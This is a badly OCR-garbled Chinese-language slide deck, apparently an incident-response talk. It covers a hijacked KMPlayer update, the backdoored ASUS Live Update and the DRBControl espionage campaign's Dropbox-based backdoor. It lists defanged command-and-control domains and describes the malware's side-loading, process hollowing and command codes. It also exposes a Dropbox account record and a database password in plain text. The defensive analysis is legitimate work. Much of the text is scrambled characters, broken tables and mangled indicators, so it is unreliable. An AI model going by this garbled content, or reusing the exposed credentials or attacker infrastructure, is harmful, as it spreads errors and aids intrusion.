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8 c2 i [ETT] memgaeusvenas O sovumk BT idsritorug | N TIR—0E |

https://www.ncert.nat.gov.tw/NoticeAna/anaDetail.do?
id=ICST-ANA-2013-0018

_____ S 8 s EE anssEaaTnRmEw R—3ERTI - BT
Gig XDDDD KMPHREHERTERY ! N gmﬁ‘f—% e

SPB XDD BRERETSITRIE
. SR TRIEST SERAMEEHTAET Orz HEANSRONEFAR
AORES
_ . roamer [ LR AMNEEBE < )=
B sSrmR "F P A KRCERT 5527

LTSRN AT » EFERMALZ
Scenario LB XDD A 1RiE S &S MSREEE | BRISTRIR | (HEFTERgE)

LZAB roamer ) » FERM A RRIZIEFR R

Eefa: FHEPE FIGkahs | | IERREF S GRS !
(38)

2P ] gtk XDDD 2 paLTT A e 4w
LR -ﬁ@gﬁg?m D s S XODDDDOOD ... BT 77

|=1X 3%BREF8% * i3 Thanks ro ZeroChen
RpPE ) ETER  EERET
cindy [ BEIFEE~

LA T RHEETEHEZETIEZ ARRIAPTIRIZ LIBIEHHS | C) Nl ER 7S

N

3:2¢ 12:35p1 201358H9H 4:06pmr 11:0 2013%8H7H 1

EK v urk

W




 PEEESETE

- 2013 &£ 7 AERERFEAE IR MAC Spoofing IEE KA SR fE
ARERARFE D EN - $T¥ Infected Server #1T5E&E R IR arp hijack tool
~—aFEAREE - web shellZ

c X—IoERLIERZ ZRAPIREIIFEEARMORFE - WERLIERIY
221 C & C Server

vpen.abacocafe.com / pen.abacocafe.com
TCP /UDP port 53, 80, 443
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L4

RXAHZRIRER

~

« 1ZIEAEZRR IP FHREY infected host 22X BIIE,
- OEHELZ8E (NFIP) A=HYE 3.7.0.87

04

— —— - —— == —

O Mozilla Fircfovxv —
-Ir http//cdnkmpla.. MPVer_Korean.txt x |_ER_!{6RTherequested URL:on n. |_0 www.hide-me.org-Uanod-:-;;:L. X lmWHOIS lﬂ!!:%.175.216.92-...7 x | + |
| € 9 I kmplayer.com/KMP/Download/KMPVer_Er I C | B~ Google 2 ¥+ #®
|2 B8 B Google
3.7.0.87 Connect from victim IP, will be redirect to download malware 3.7.0.87
http://cdn.kmplayer.con/player/update/
100
1
@ Moxzilla Firefox =)
HEGO #NEO KAV ExO SRE IR0 BEH »
¥ http,//anonymous.. PVer_English-txt x IQMp;//anonynms...Wer_Komnm x I + |
! (‘ > 4 anonymouse.org In/anon-www l tt inkmplaye KM w 3 /KM PVer_Er l c m' anonymouse P ‘ 7

|2 =xH% B Google

3.6.0.87 | Connect via web proxy, will be redirect to download correct version |
http://update.kmpredia.net/player/update/
100

I
1
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HEHBE IP &) KMP

\ .
%‘ — KM Update Server — Corr?)egta/g;smn
5 6.0.

KMPlayer 3.6

v3.6 Supports
Iinstant View

< KMPlayer !\" ‘ MBI 2:3.6.0.87 SN 2:3.0.0.1442

FIR SN ENN S8

Updéte Now! e
@te ’Z, A("}MJ AY _KMPlayer 35 = 3.6 7

Z4 SU0IE =HOIX B2 22

» B ) TREZ(C) » EFFW » mortin_kuo » AppData » Local » Temp » v | 4y P
AFE v =8 v e
ZNRE
s TE
| A
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Malware
3.7.0.87

AYER O] LI LICH o l

@ C\Users\zerochen\Desktop\For_Twcert\Malware\KMP_3.7.0.87 exe\

ZE AN HE
| JACLULDLL.UI 124713 1
7 OleView.Exe 180 824 1
[m7time.exe 96 648
\%| ACLULDLL 53 248
" KMP_3.7.0.87.exe - & (%)
—ir | BTN BUEE el | HEEH | LEEERE
wEEE
wE AL  EFEiHiE SRERE
Fasoo.comy, Inc st (B (B
T T IR LT By ——— Y 7N O
» BiE ) TRERC) » 258 » rtin_kuo » AppData » Loc IX"E , 15”%5\ =) I/IEJEJ\EIE
EagE- PRE =Epe-  FEARER
[ ENRE
3 TR wireshark_91754158-2939-4797-85A1 IR
mAx * | KMP_3.7.0.87.exe
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Process Hollowing

™ Windows TEERES =RREN X
— F
BEERF ZBRO) ®wRNV) =|H8HEH)
FEFiEs | FRIRTER RS | e | d@ReThat | iR

mRAHE - ERERE C.. Giies® @ALF. LOFEHST.. [WEASTE fE -
Searchlndexer.exe SYSTEM 0o 23,104 K 69,170,944 13,440,382 Mic
SearchProtocolHost.exe SYSTEM 0o 2,208K 13,256 0 Mic
services.exe SYSTEM 0o 6,052 K 849,952 5,790,616 AR
SINSS.eXe SYSTEM 0o 438 K 41,502 20 Wa
spoolsv.exe SYSTEM 0o 6,332 K 1,675 320 I
sylservr.exe SYSTEM 0o 78,080 K 81,377,110 5,596,202 RQl
StacWindSecsice AE exe *32 SYSTEM 0o 1,908 K 744,763 0 Sta
svchost.exe SYSTEM 0o 22,280 K 475,393,585 18,257,987 Wu
svchost.exe SYSTEM 0o 2912K 116 160 Wi
svchost.exe SYSTEM 0o 3,884 K 0 0 Wa
svchost.exe NETWORK SERVI... 0o 4912 K 0 0 Wa
svchost.exe LOCAL SERVICE 0o 11,544 K 10,212,700 2,609,496 Wi —
svchost.exe SYSTEM 0o 181,652 K 71,046,607 99,086,687 Wi
svchost.exe LOCAL SERVICE 0o 9,368 K 239,423 2,328 Wa
svchost.exe NETWORK SERVI... 0o 10,216 K 1,926,045 185,758 Wi|=
svchost.exe LOCAL SERVICE 0o 4,088 K 27,252 160 Wi
svchost.exe LOCAL SERVICE 0o 3,672K 65,493,710 408,670 Wa
svchost.exe SYSTEM 0o 5716 K 441,795 7,657 Wia—
svchost.exe LOCAL SERVICE 0o 1,945 K 0 0 Wa
svchost.exe NETWORK SERVI... 0o 1,608 K 0 0 Wa
svchost.exe SYSTEM 0o 12,084 K 41,599,229 119,724  Wa

NG 253 2 S— SYSTEM 0o 60K 154,975,062 287,463,520 NT
Svls‘ham Idle Process SYSTEM 97 24K | 0 0 ¥~
< m »

RRTCREPARIEAEREIRIZRFE) | EE R ERIIZFFE) |
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HEHYBIE RN AR string

e OllyICE

File View Debug Plugins

Options

Window Help

e o A S e =
-  —
[»] Dump - malware_:.text 00401000..0043AFFF =n Eol| =) ‘Ilr d ptr ssife:
Hex dump UNICODE - P
e=— S (YW ol e KRRl e i e[ R L s E
W Wind “1on an an anlan on na onlan an a0 onlan oo da anl =7
7|00 00 00 00/ 00 00 00 00 00 00 00 00 00 00 §0 00|........ Type| Access
Handle 2|00 00 00 00 00 00 00 00 00 00 00 00 00 00 §0 00| ........ Map |RW
r— 7|00 00 00 00 00 00 00 00 00 00 00 00|00 00 §0 00|........ Map |R
e Rl Rt [l Rt I B RS
7|00 00 00 00 00 00 00 00 00 00 00 00|00 00 §0 00| ... ..... PriviR¥ Gual
0|62 00 75 00 7A 00 &5 00 00 00 00 00 00 00 §0 00|juzi Map |R
7|00 00 00 00 00 00 00 00 00 00 00 00|00 00 §0 00| ... ..... Map |R
,0(00 00 00 00 00 00 00 00| 00 00 00 00 00 00 §0 00| ... ... .. Priv| RW
7|00 00 00 00 00 00 00 00 00 00 00 00|00 00 00 00|........ Map |R
7|00 00 00 00 00 00 00 00 00 00 00 00|00 00 00 00f........ Priv/RY
7|00 00 00 00 00 00 00 00 00 00 00 00|00 00 00 00|........ Priv| RW
7|00 00 00 00 00 00 00 00 00 00 00 00|00 00 00 00|........ Map |R
.0|00 00 00 00|00 00 00 00 /00 00 00 00 00 00 00 00| ........
,0|DD 07 07 00 02 00 09 00 0E 00 16 00|31 00 A9 01|# . 1I Map |R
“0|7F 00 00 00 39 CA 00 00 33 CA 00 00 DD 07 07 00|].0.0.¢ Map |RY
)0 (02 00 03 00 0E 00 16 00|31 00 SD 03 00 00 00 00 IN. Priv| RW
2|00 00 00 00 00 00 00 00|00 00 00 00 00 00 00 00|........ ~ |Priv|RW
’ Map |R
T Map |R
75C62B73 KernelBa.Uirtu| gg,09000| 06661000 malware_ PE header |Imag|R
75C74507 KernelBa.Writel gg,91900| 00630000 malware_| .text | SFX,code |Imag|R
75E33158 advapl32.Creat| ggy38000 00AGAOO malware_| .rdata | data,import{Imag R
761AC43A Kkernel32.Virtu| ggy45000| 00665000 malware_| .data Imag R
761ADCC2 kernel32.Creat| ggyyunp00| 00003000 malware_| .rsrc resources |Imag|R
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5% B & %



(HFEFEINEE (Supply Chain Attack)
ERREERER:ERERETRMIREER

SEFEAMERMLive UpdatefaliR23188% - 5| R Z RN EMERBARIBRZLHEMNME - RIFFEER
REREENEBNERNE » FEERAEERAERE

B E3amAiThomelH4sm ERKRRIPAERE

X/ FBIFE | 2019-05-08 %%

Backdoored ASUS Live Updater executable \

F)ﬂglnal ASUS code
{ Tiny malicious code ln]octlonj

Resource 136: EXE
Malicious Downloader

Remainder of ASUS updater tool code
(broken PE file)

& 4

[FEEER ARSI - Live UpdateBRTEMBARF]] RIBFEMENRE - BREAIREARZS T ERENRS - BEARRERKER
EAEENERRENN  BERAENEARRERE  BtXGRAPARAESRMINENER - (BRFEF : FEHE)

ERRIFIPREZE

5% B & %

Ll E2019F 3R K - —EEMNERETNRBMUMBERESEY - SIERK
RS » RERAEBASSEISIEAR » thE2WETFH LTSS TALENT

# Microsoft



HE APT £f|5=
Operation DRBControl



1 Operation DRBControl

Chinese hackers have breached online betting

and gambling sites

Hacks confirmed at gambling and betting websites in Southeast Asia, rumors of other hacks in Europe and the Middle
East.

IRage Vi ATeacs Aoves

Since the summer of 2019, a group of professional Chinese
hackers has been targeting and hacking into companies that run
online gambing and online betting websites

According to reports published this week by cyber-security firms
alenm-Jump and Trend Micro, hacks have been officially confirmed

t gambling companies located in Southeast Asla, while

nconfirmed rumors of additional hacks have also come from

and the Middle East

Talent-Jump and Trend Micro say hackers appear to have stolen
company databases and scurce code, but not money, suggesting
the attacks were esplonage-focused, rather than cybercrime
motivated

MORE FROM CATALIN CVPANY

Security

Valve says IT's safe 0
play CSG0 ana TF2
after source code leaked
oniine

Securty

Securty resoarcher
iderifies new APT grous
mentioned in 2017
Shadow Brokers leak

Security

Appie irvestigating
repon of a new 105
explolt Being uied In the
wild

Secunty
Hackers have Beoached

L= 1
[ ] l - 60 ad servers 10 l0ad
=

thelr own malicious ads
SPECIL FEATURE

NEWSLETTERS

ZDNet Security

Your weekly update on security arcund the globe,
featuring reseasch, threats, and moee

Cyberwar and the Future
of Cybersecurity

Today's security threats

have expanded in scope

and seriousness, There can

now be milions - or even

billions -~ of dollars at risk st
when Information security i
SN handled properly.

Read More MORE RESOURCES

CLAMBLING - A New Backdoor Base On Dropbox

M9F7H, AARRE—ESHNEAEMRE APT RESUHEFER, ANERTRET —RLFNEFEF, JEFXONHEETRREEHM Dropbox AP BRT—ERESEY
EaYiRPIRBEN, YERRNH CAC MRBERMRE Oropbox b, BABBEAHIT, HIVEIGT EEMRERN Dropbox AF n ¥ BEENE—THRA R BERNNEERE

MEAE R W 17 2B,

aniel Lung! aric Perner, and jJamz Yaneza. (17 Februa ” rend Micro. “Operotic RBContr y ering A Cyberespionoge

B—FEERRRR

REEVMARSERIERE Windows Defe G %, $BEE DLL Side-Loading BT shelicode, R paylosd BEAABSRELF SRRRENEEEATAY
fEF—REROBR

TERLEN me 1.exe EREREAEPRARRERNE pa | FENEEAIPUE + HENENEA, REFEORTE OLL Side L 2 VFALZR
8 111 8y se ain STt

HmERaN HNERFENER, B i MRS RIS ERHESD AR R TS M 2o BRE R ¢ AETTRE
wild " RERRN. AR #% st e RE, E—T PIRER &N payloa

= (longleng){int) (1 H

i (o< R

do {
it = '

LAB_180001471:

LAB_180001488:
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1 @5

S IE LV

- B8 [P/ DDNS [E]2&E C&C

<REDACTED>.196.80
<REDACTED>.196.88
download.kaspresky[.]Jcom

www.microsofts[.]Jorg

js.56sup|.]com

ads.optd[.]net
jquery.optd[.]net
softstore.excel2[.]Jcom
store.excel2[.]Jcom
packettl.nbshf[.Jcom
help.dellrescue[.]Jcom
ns1.nokiadns[.]Jcom
update.hd157[.]Jcom
Oexwehkcxr8wl2k.nbshf[.Jcom

ec2-54-219-154-48.us-west-1.compute.amazonaws|.Jcom

apil.]Jkaspresksy[.]Jcom
apil.]Jmicrosofts|.]info
bibo286[.]com
cahe[.]microsofts[.]org
caibi379[.]Jcom
download].]kaspresksy[.Jcom
dptoutiao[.]cn
ffca[.]caibi379[.]com
kaspresksy[.]Jcom
microsofts[.]info
microsofts[.]org
miscrosofts[.]Jcom
onedrive[.]Jmiscrosofts[.]Jcom
ppit[.Jmicrosofts[.]org
smsapil.]tencentchat[.]net
tencentchat[.]net
updatel[.]kaspresksy[.]Jcom
update[.]Jmicrosofts|[.]org
update[.]Jmiscrosofts[.]Jcom
weixin[.]dptoutiao[.]cn
www/[.]bibo286[.]Jcom
www/[.]microsofts[.]info
content[.]dropboxapil[.]Jcom
api[.]dropbox[.]Jcom
api[.]dropboxapil.].com
safe[.]mircosofdevice[.]Jcom
office[.]support[.]googldevice[.]Jcom
update[.]Jmircosoftdefender[.]Jcom
server[.]Jcorreomasivochile[.]Jcom
srv2[.]Jmkt-app[.]Jcom
fn[.]shopingchinal.]net
store[.]microsoftbetastore[.Jcom
www/[.]xiaohuochaitv[.]Jcom
www/[.]993439274[.]com
www[.]rivenyk[.]Jcom

2018/10/5
2018/10/5
2018/10/5
2019/3/1
2019/3/1
2019/3/1
2019/3/1
2019/3/1
2019/3/1
2019/3/1
2019/3/1
2019/3/1
2019/3/1
2019/3/1
2019/3/1
2019/3/1
2019/3/1
2019/3/1
2019/3/1
2019/3/1
2019/3/1
2019/3/1
2019/3/1
2019/3/1
2019/3/1
2019/7/15 Temporary Tracking
2019/7/15 Temporary Tracking
2019/7/15 Temporary Tracking
2019/7/15
2019/7/19
2019/7/19
2019/7/26
2019/7/26
2019/8/1
2019/8/8
2019/12/27 From PD
2019/12/27 From PD
2019/12/27 From PD
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1 Operation DRBControl

- BEAXANAFM ( Spear Phishing ) AR
« BE#H C&C Server [ERFFAEC Dropbox API & F5

- api.dropboxapi.com
- content.dropboxapi.com
- office.support.googldevice[.Jcom

- update.microsoftdefender[.]Jcom

)E

- WEHR : NENEE - ERFAEY
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1 DRBControl I\ A3t

Sysprep

=

B MpCmdRun.exe

B mpsvcdil
B mpsvc.mui

B Sysprep.txt

O
Kgy Name:

ClUoD IvaInC s

Last Write Time:

\Unaliia N

Type:
DETEH

Value 2
WETI[H
Type:
DEIEH

Value 3
Name:
Type:
DETEH

Value 4
\ET[H
Type:
DEYEH

Value 5
Name:
Type:
Data:

Value 6
WETI[H
Type:
DEYEH

B Sysprep.txt
HKFYTLQQQL_MACHINE\SYSTEM\CurrentControlSet\Services\MpCdeun

~NYW LLnoo—

7/26/2019 - 3:52 AM

0x2

ErrorControl
REG_DWORD
0

ImagePath
REG_EXPAND_SZ
"C:\Windows\system32\sysprep\MpCmdRun.exe" -P

Resultant Set of Policy Provider

ObjectName
REG_SZ
LocalSystem

Description

REG_SZ

Provides a network service that handles requests to simulate Group Policy
settings for a target user or computer in different situations and calculates policy settings

TALENT
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1 DRBControl SE{EFE

-_ Windows |PLL Side-Loading load u?:;?::: g l| create & inject
executable mpsvc.mui payload I svchost.exe
|
;
send back data ;
e e
fake HTTP POST
information upload to download
gathering Dropbox A bin.asc
True ¥ create & inject
svchost.exe
[
download
x64bin.asc
True I create & inject
svchost.exe
|
coliect upload to decode e:g:zggn
information | | Drzpbox el download command execute S
and yasHPHFJ from command

timestamp LD yasHPHEJ Dropbox as
csaujdnc

wait for

next period
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1 Dropbox API Token

SUVNVIVNLUVNNISIZNoOP P22 r>P>>P>PN<ONQONMN =~ = =

=Wwar=Z-.

 {"account_id":

"dbid:AACaadB_JRZ4rR_qyYo6nhlQzbBgdo
Ah21ZQ", "name": {"given_name": "SK",
"surname": "Moniter", "familiar_name":
"Moniter SK", "display_name": "Moniter
SK", "abbreviated _name": "MS"}, "email":
"hang/3962397@163.com”,
"email_verified": true, "disabled": false,
"country": "HK", "locale": "zh—CN",
"referral_link": "https://db.tt/PbaiVLukrd",
"is_paired": false, "account_type": {".tag":
"basic"}, "root_info": {".tag": "user",
"root_namespace_id": "3262893280",
"home_namespace_id": "3262893280"}}
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1 Type A

238 HTTP POST [al:& C&C {alfkzx

2.
EHX T Payload #1T

SY

1:
Y REAKENEZ E{E Dropbox
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2019-07-05\
2019-07-08\
2019-07-09\
2019-07-10\

2019-07-05\
2019-07-08\

2019-07-04\
2019-07-05\

2019-07-08\

2019-07-08\

2019-07-04\
2019-07-05\
2019-07-05\
2019-07-06\
2019-07-06\
2019-07-07\
2019-07-07\
2019-07-08\
2019-07-09\
2019-07-09\
2019-07-10\
2019-07-10\

2019-07-04\
2019-07-05\
2019-07-06\
2019-07-10\

hostname username os version bit exist
Administrator Win2k8R2(X64) | 8.0 Not Found !!! | NO
Administrator Win2k8R2(X64) | 8.0 Not Found !!! | NO
Win10(X64) 8.0 Not Found !l! | NO
Win10(X64) 8.0 Not Found !!! | NO
Administrator Win2k12R2(X64) | 8.0 Not Found !!! | NO
Administrator Win2k12R2(X64) | 8.0 Not Found !!! | NO
Administrator Win2k12R2(X64) | 8.0 Not Found !l! | NO
Administrator Win2k12R2(X64) | 8.0 Not Found !!l | NO
Administrator Win2k12R2(X64) | 8.0 Not Found !!! | NO
Administrator Win7(X64) 8.0 Not Found !!! | NO
Win7(X64) 8.0 Not Found !!! | NO
Win2k16(X64) 8.0 Not Found !!! | NO
Win2k8R2(X64) | 8.0 Not Found !I! | NO
Win2k12R2(X64) | 8.0 Not Found !l! | NO
Win2k12R2(X64) | 8.0 Not Found !!! | NO
Administrator Win2k8R2(X64) | 8.0 Not Found !Il | NO
Administrator Win2k8R2(X64) | 8.0 Not Found !!! | NO
Administrator Win2k8R2(X64) | 8.0 Not Found !!! | NO
Administrator Win2k8R2(X64) | 8.0 Not Found !!! | NO
h Win2k8R2(X64) | 8.0 Not Found !!! | NO
Administrator Win2k8R2(X64) | 8.0 Not Found !!! | NO
Administrator Win2k12R2(X64) | 8.0 Not Found !l! | NO
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1 Type B

28 HTTP POST [E:# C&C A Akzs

2.
- BETEmTEeAERT
=
BARITE L ERTRE
1.
8307 i — REREH L8 1
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1 Type B

« Type B ZEflap < 43R

« 0x02 5l E2 &tk « 0x07 7 Dropbox F&1&EZ
« 0x03 5|22 B % - 0x08 &4 Console #fTan<
« Ox04 MITIEZR - 0x09 FA Process Hollowing #.1T Binary 1%

« Ox05 BEIF1E 2R
« 0x06 £E1E%%£ Dropbox
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"2019/07/29
"2019/07/29
"2019/07/29
"2019/07/29
"2019/07/29
"2019/07/29
"2019/07/29
"2019/07/29
"2019/07/29
"2019/07/29
"2019/07/29
"2019/07/29
"2019/07/29
"2019/07/29
"2019/07/29
"2019/07/29
"2019/07/29
"2019/07/29
"2019/07/29
"2019/07/29
"2019/07/29
"2019/08/02
'"2019/08/02
"2019/08/02
"2019/08/02
'"2019/08/02
"2019/08/02

“"c:\Users\
c:\Users\
“Wifi List.docx"

“"Witl List.docx"

"Weekly Training Guide.docx"

“"Traceroute HK.PNG"
“Topology

Security Appliances

=+ A 717

07172017 .x1s

ce_network_topology.xml"

“New U paa te

“New Config for

“"Net.PNG"
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\wws

(=) Jfconn php_D14c4¢0000000160619400 3 |5

B —

1 [E<?php

2

3 $servername = "rr-3nswnOxheoOwhlo200o.mysgl.rds.aliyuncs.com";
4 $username = "Joshua Abad";

5 Spassword = "BWyevm'bLgufcb'l";

6

7 // Create connection

8 Sconn = new mysgli ($servername, Susername, Spassword):
9

10 // Check connection

11 [Hif ($conn->connect_error) {

12 die("Connection failed: " . $conn->connect_error):
13 -}

14 = o

ks YcbIX6Pr
administrator 11

=] EEF]
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1 Summary

BREIRISE = H e/ AE In RS

- BINELGRE ?
- IBINPEIE AR EEE ?

- Mol IR EEMmTT ?
- BEsk.. RSt EEERRA T B
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- ZRiERRE
- ABBIRIEARTE VLAN ERAEZ(E B Class =48
- WAZE <> #E Side to Side VPN £3&
- WAE <> Bk (AWS/GCP ) ACL =3
- ZEDF (1T ) B8 MPLS &5 - B—1%2%8

- RATRN W B EN - MRAZEN.... (LR)
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1 RiBEREEMER

c HEBENZE
- %4t Log ARk
- Zf& AD E32 - Audit Policies A58% - EHERA — RIS

- HASEMRTE Admin / Root » #UHWBARLAT
- ARSI EBERES

- BN ORWOEN.. EEEERFEE FENAZREE
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n

- ﬁ%fﬂﬁﬁ%ﬁ_: o

*&TEBEEE: =i
UL 5 E A&
M= E}_‘_KE

TAREE ( Sweeping )
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1 TCPView

F —
C B RGRB T TR
B
F Z R EEHZE VRIS ER AR
1% H—.r 4‘7&, /u Za & £ T J 22 ,%7 R UST
é TCPView - Sysinternals: www.sysinternals.com =
File Options Process View Help
& & =
Process ¢ PID Protocol Local Address Local Port Remote Address Remote Port  State Sent Packets Sent Bytes Revd Packets Revd Bytes
17 CemExec.exe 3304 UDP 127.00.1 55142 * *
€3 devmonsiv.exe 3928 TCP 127.00.1 515 0000 0 LISTENING
£ dsNcService.exe 2212 TCP 127.00.1 4242 0000 0 LISTENING
@ firefonexe 4504 TCP 127.00.1 2089 127,001 2000 ESTABLISHED 110 110
@ firefon.exe 4504 TCP 127.00.1 2000 127,001 2089 ESTABLISHED 110 110
@ firefon.exe 9924 TCP 127.00.1 2001 127,001 2092 ESTABLISHED
@ firefonexe o4 TCP 127.00.1 2002 127.00.1 2001 ESTABLISHED
@ fiefonexe 4504 TCP 192.168.1.37 3661 31.13.87.1 443 ESTABLISHED 2 644 4 306
@ firefonexe 4504 TCP 192.168.1.37 3679 31.13.87.36 443 ESTABLISHED 7 2,710 9 1,012
@ firefonexe 4504 TCP 192.168.1.37 24325 &4.71.168.201 443 ESTABLISHED 6 1,950 5 742
17 frh32.exe 4348 UDP 127.00.1 62616 * *
17 fsgk32.exe 2348 TCP 127001 44117 0000 0 LISTENING
(17 FSHDLI32. EXE 2504 TCP 0000 12110 0000 0 LISTENING
17 FSHDLL32.EXE 2504 UDP 0000 12110 * *
17 fsosp.exe 4328 TCP 192.168.1.37 24317 122.220.160.146 80 CLOSE_WAIT 4 1,1% 4 1,588
17 hi_serviceexe 080 TCPVE 000000011 1626 [0:0:0:0:0:0:0:00 0 LISTENING
LINEexe M0 TCP 127.00.1 1860 127,001 1861 ESTABLISHED 421 421
LINEexe 70 TCP 127.00.1 1861 127.00.1 1860 ESTABLISHED 421 421
LINEexe 70 TCP 127.00.1 1863 127.00.1 1864 ESTABLISHED 210 210
LINEexe M0 TCP 127.00.1 1864 127.00.1 1863 ESTABLISHED 210 210
LINEexe M0 TCP 192.168.1.37 3650 203.104,153.1 443 ESTABLISHED 1 12 1 12
LINEexe M0 TCP 127.00.1 10400 0000 0 LISTENING
' lsassexe 736 TCP 0000 1035 0000 0 LISTENING
W lsassexe 736 UDP 127.00.1 57415 * *
W lsass.exe 736 TCPVE 0000000401 1035 [0:0:0.0:0.0:0:0] 0 LISTENING
192.168.1.37 61.222.15.130
S lym.exe 6628 TCP 192.168.1.37 3658 61.222,15.130 443 ESTABLISHED 4 328
@ Iync.exe 6628 TCP 192.168.1.37 3677 61.222.15.143 443 ESTABLISHED 4 1,40 4 2,356
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Autoruns

- MEZMEN SR LBEKREREFNTRHLE

- EHEE  BREIEREASEEAFRHREEIRPIUREENR

& Autoruns [GAMANIA\zerochen] - Sysinternals: www.sysinternals.com —
File Entry Options User Help

=YL

a Winlogon l & Winsock Providers l ‘23 Print Monitors l @ LSA Providers l L' Network Providers | ﬂi WMI I B Sidebar Gad
&7 Everything ‘ i!é Logon l 'J Explorer I & Internet Explorer 1 u_'] Scheduled Tasks I % Services I _:% Drivers I Codecs | [ Boot Execute | [ image Hijacks | |%] AppInit I (%] 1

Autorun Entey Description Publisher Iraage Path Tirestarap

@ HRIM\SoftwareMicrosoftiW indows'CurrentVersion'Group Policy\Scripts\Startup 201611122 T4 0347
7| (Glokal Cornputer) SCCM 2012 R2 Agent File not found: Weamania.com'sysvoligamania.com\Policies'{ BSEDCE6B-BC53-4...

@ HRKIMSOFTW AREMicrosoftW indows'CurrentVersion'Run 2016014 T4 03:52
(7 Acer MotionProtect Tray Application FFP_Token (Verified) STMicroelectronics chprogram files (x86)'st microelectronics'st_accelMip_token.exe 20124525 T4 07.03
Q ALU Updater Client (Verified) Acer Inoorporated chprogram files‘aceracer vpdaterelv.exe 2016446 T4 07:51
%, BTMTrayAgent Bluetooth Shell Extension (Verified) Motorola Solutions Inc. chprogram files (x86)\intelhluetoothbtrashellex . dll 2015021 T4 10:57
[0 CertificateRegistration Certificate Expivation Check Utllity (ot verified) AET. Ewope B.V. chwindows'systerd2'actcrss] exe 201241121 T4 0642
- NvBackend NVIDIA Backend (Verified) NVIDIA Corporation chprogram files (x86)\nvidia corporation'npdate cors'nvbackend exe 20168414 T4 06:39
%, ShadowPlay NVIDIA Capture Server Prowy (Not verified) NVIDIA Corporation  ¢:Windows'systern32'nvspeapéd dll 20168615 £ 09:05

@ HRKIMSOFTW AREW ow64 32NodeMicrosoftiW indows'CurrentVersion'Run 201607 T4 05:35
F-Secure Manager F-Secure Settings and Statistics (Vexfied) F-Secure Corporation corogram files (x86)\-secure'corarnon'fsm32.exe 201645420 T4 08:46
F-Secure TNB F-Secure Try & Buy Utility (Verified) F-Secure Corporation chprogram files (x86)\-secure'fs guitmbutil exe 201664 T4 1240
&+ USE3MON ush3mon {(Verfied) Intel Corporation - Client ... ¢\program files (x86)\intelintel(r) ush 3.0 extensible host controller driverapplicati... 201410530 T4 06:06
(5 vroware-tray.exe WMware Tray Process (Verified) VM ware d:wmwareWrnware workstationWroware-tray.exe 2014613 £ 08:18

23 CProgramDataMicrosoftiWindows\Start Menu'Prograras\Startup 20161123 £ 11:12
[n ] HP Fortify Monitor.Ink ASCMonitor (Verified) Hewlett-Packard Corapany  d:\hpthp webinspectiascraonitor.exe 2015102 B4 12:17

23 CWUsers'zerochen'AppDataRoamning MicrosoftiW indows S tart Menu'Progrars'Startup 20161043 £ 11:35
[ 3= OneNotelnk Send to OnelNote Tool (Verified) Microsoft Corporation chprograrm files (x86) microsoft office'office]l S'onenotera.exe 20151248 T4 06:23

@’ HELMSOFTW AREMicrosoftéictive Setup\nstalled Coraponents 201607 T4 05:48

[ NET Framework Google Chromae Installer (Verified) Google Inc cprogram files (x86)\gcogle'chrome'application’s5.0.2883. 8 7installer'chrmstpexe 20161248 T4 03:04
L‘ NET Framework Google Chrorae Installer (Verified) Google Inc cprogram files (x86)\gcogle'chrome'application’$5.0.2883.8 7installerchmstpexe 20161248 T4 03:04
[: Acu\re Dlxectory Semoe ha{ace Google Chrorae Installer (Verified) Google Inc cprogram files (x86)\gcogle'chrome'application’s5.0.2883.8 7installer'chmstpexe 20161248 T4 03:04

TALENT

=] EEF



1 Process Explorer

« BEEEFPNERLUNEARDLLEA
EHAEE . BRERREREIIERAAHNT

¥ Process Explorer - Sysinternals: www.sysinternals.com [GAMANIA\zerochen]

[ S i i

File Options View Process Find DLL Users Help

@ =HEOS8 3R A e

Puocess CFU Puavate Bytes Wouddng Set FID Descaption Cornpany Name Venfied Signex
E Systern Idle Process 56.41 0K 24K 0

B E Systemn 092 140K 3,04K 4

[ K| Intexrupts 0.85 0K 0K n'a Haxdwaxe Intexrupts and DPCs

CRELTS 552K 1,256 K 344 Windows T{FESEREIR S Miciosoft Corporation (Vexnfied) Micyosoft
= [n osiss.exe <001 280K 6,344 K 520 FIFIRToIAR S BAITRE R nRIRIEfE  Micwosoft Corporation (Veufied) Micyosoft

conhost.exe 1,24K 3,5%K 1764 EIEGRETE Miciosoft Corporation (Vexnfied) Micyosoft
= [ wininit.exe 1,74 K 554 K 660 Windows SREHRERE = Micyoeoft Corporation (Vexnfied) Micyosoft

=) [m77sexvices.exe 976 K 18,056 K Z:) HE%&E%H&SEFQ&": Mlcmosoﬁ Cmpowatm (Verfied) Micyosoft
=) CRjsvehost.exe I 02 3 o0 B
[= unsecarm exe 148 Sink tn mnmmasmnhmnmls.callha_hm-nmoﬁ_(lﬂmhm

Nawme - Descaption Company Name Path Vexfied Signex Mapping
adwapi32.dll SRS Windows 32 288 AFI Miciosoft Corporation C\Windows\Systerrd Zadvapi32.d11 (Venfied) Micyosoft Windows Trnage
apisatscheea.dll ApiSet Scherra DLL Micyosoft Corporstion C:\Windows\Systerrd Zapisetscherma.dll (Venfied) Micosoft Windows Trrage
apphelp.dll ERE BT AR RERE Micyosoft Corporation C:\Windows\Syster3 Zapphelp.dll (Venfied) Micyosoft Windows Trrage
C_1252.NLS C:\Windows\Systeri32AC_1252. NLS (Venfied) Miciosoft Windows Data
clzmgi2.4ll Configusation Manager DLL Miciosoft Corporation C:\Windows\Systern3 e fzmg32.411 (Venfied) Micyosoft Windows Trmage
clbcatg.dll COM+ Configuration Catalog Micioeoft Corporation C:\Windows\Syster3 Ziclbeaty.dll (Venfied) Miciosoft Windows Irmage
credssp.dll Credentisl Delegation Secunty Package Miciosoft Corporation C:\Windows\Syster3 Zeredssp.dll (Venfied) Micyosoft Windows Trnage
crypt32.41l Crypto AFI32 Miciosoft Corporation C\Windows\Systerm3 Zenypt32.dll (Venfied) Micyosoft Windows Trrage
crypthase dll Base cxyptogeaphic AP DLL Micioeoft Corporation C\Windows\Systerr3 Zerypthase dll (Venfied) Micycsoft Windows Trnage
cryptsp.dll Cryptogeaphic Serice Providex AFT Miciosoft Corporation C:\Windows\Syster3 Zenyptsp.dll (Venfied) Micyosoft Windows Trmage
devobj.dll Device Information Set DLL Microsoft Coxporation CA\Windows\Systerd Zdevoly dll (Venfied) Miciosoft Windows Irrege =N == Fs
dewtl.dll Device Mamgement Run Tirne Libuswy Micioeoft Corporation c '\Wmdows'@ysbenﬁﬁdevrﬂ dll (Venfied) Mwmﬁ Wmdows Trnage E@ = m:l- ;i

v o e -~ . ,a e ans e e a -~
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1 Process Monitor

BE
[

T\

58 FR IR 15

ZJ Process Monitor - Sysinternals: www.sysinternals.com

ok S i2 Rl A

BAZHBEEIR - ol ERMEETE
